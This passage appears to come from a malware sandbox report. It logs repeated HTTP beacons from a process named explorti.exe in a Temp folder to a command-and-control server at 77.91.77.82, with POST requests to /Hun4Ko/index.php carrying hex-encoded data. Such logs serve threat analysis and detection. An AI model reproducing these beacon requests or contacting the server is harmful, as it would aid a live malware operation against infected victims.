Jul 2, 2024 15:26:48.506931067 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 2, 2024 15:26:49.201581955 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 13:26:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 2, 2024 15:26:49.202677011 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 30 32 42 37 33 42 34 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB02B73B45082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 2, 2024 15:26:49.420450926 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 13:26:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.4	49765	77.91.77.82	80	8172	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 15:26:49.541304111 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 2, 2024 15:26:50.259335995 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 13:26:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 2, 2024 15:26:50.260174036 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 30 32 42 37 33 42 34 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB02B73B45082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 2, 2024 15:26:50.487956047 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 13:26:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.4	49766	77.91.77.82	80	8172	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 15:26:50.600514889 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 2, 2024 15:26:51.326875925 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 13:26:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 2, 2024 15:26:51.327625036 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 30 32 42 37 33 42 34 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB02B73B45082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 2, 2024 15:26:51.552301884 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 13:26:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.4	49767	77.91.77.82	80	8172	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 15:26:51.665033102 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 2, 2024 15:26:52.355704069 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 13:26:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 2, 2024 15:26:52.362402916 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 30 32 42 37 33 42 34 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB02B73B45082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 2, 2024 15:26:52.579035997 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 13:26:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.4	49768	77.91.77.82	80	8172	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 15:26:52.694072008 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 2, 2024 15:26:53.393476009 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 13:26:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 2, 2024 15:26:53.395950079 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 30 32 42 37 33 42 34 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB02B73B45082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 2, 2024 15:26:53.616689920 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 13:26:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.4	49769	77.91.77.82	80	8172	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 15:26:53.725644112 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 2, 2024 15:26:54.437601089 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 13:26:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 2, 2024 15:26:54.438433886 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 30 32 42 37 33 42 34 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB02B73B45082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 2, 2024 15:26:54.662446976 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 13:26:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.4	49770	77.91.77.82	80	8172	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 15:26:54.772599936 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 2, 2024 15:26:55.469844103 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 13:26:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 2, 2024 15:26:55.471328020 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 30 32 42 37 33 42 34 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB02B73B45082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 2, 2024 15:26:55.694566965 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 13:26:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.4	49772	77.91.77.82	80	8172	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 15:26:55.803725004 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 2, 2024 15:26:56.500247955 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 13:26:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 2, 2024 15:26:56.501621008 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 30 32 42 37 33 42 34 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB02B73B45082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 2, 2024 15:26:56.722795010 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 13:26:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.4	49773	77.91.77.82	80	8172	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 15:26:56.835936069 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 2, 2024 15:26:57.545615911 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 13:26:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 2, 2024 15:26:57.546927929 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 30 32 42 37 33 42 34 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB02B73B45082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 2, 2024 15:26:57.771830082 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 13:26:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.4	49774	77.91.77.82	80	8172	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 15:26:57.897316933 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 2, 2024 15:26:58.603374004 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 13:26:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 2, 2024 15:26:58.604247093 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 30 32 42 37 33 42 34 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB02B73B45082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 2, 2024 15:26:58.822566032 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 13:26:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.4	49775	77.91.77.82	80	8172	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 15:26:58.944102049 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 2, 2024 15:26:59.711915016 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 13:26:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 2, 2024 15:26:59.712970018 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 30 32 42 37 33 42 34 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB02B73B45082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 2, 2024 15:26:59.940165043 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 13:26:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.4	49776	77.91.77.82	80	8172	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 15:27:00.056349039 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 2, 2024 15:27:00.778727055 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 13:27:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 2, 2024 15:27:00.779736996 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 30 32 42 37 33 42 34 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB02B73B45082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 2, 2024 15:27:01.005733967 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 13:27:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.4	49777	77.91.77.82	80	8172	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 15:27:01.304202080 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 2, 2024 15:27:02.043977022 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 13:27:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 2, 2024 15:27:02.044724941 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 30 32 42 37 33 42 34 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB02B73B45082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
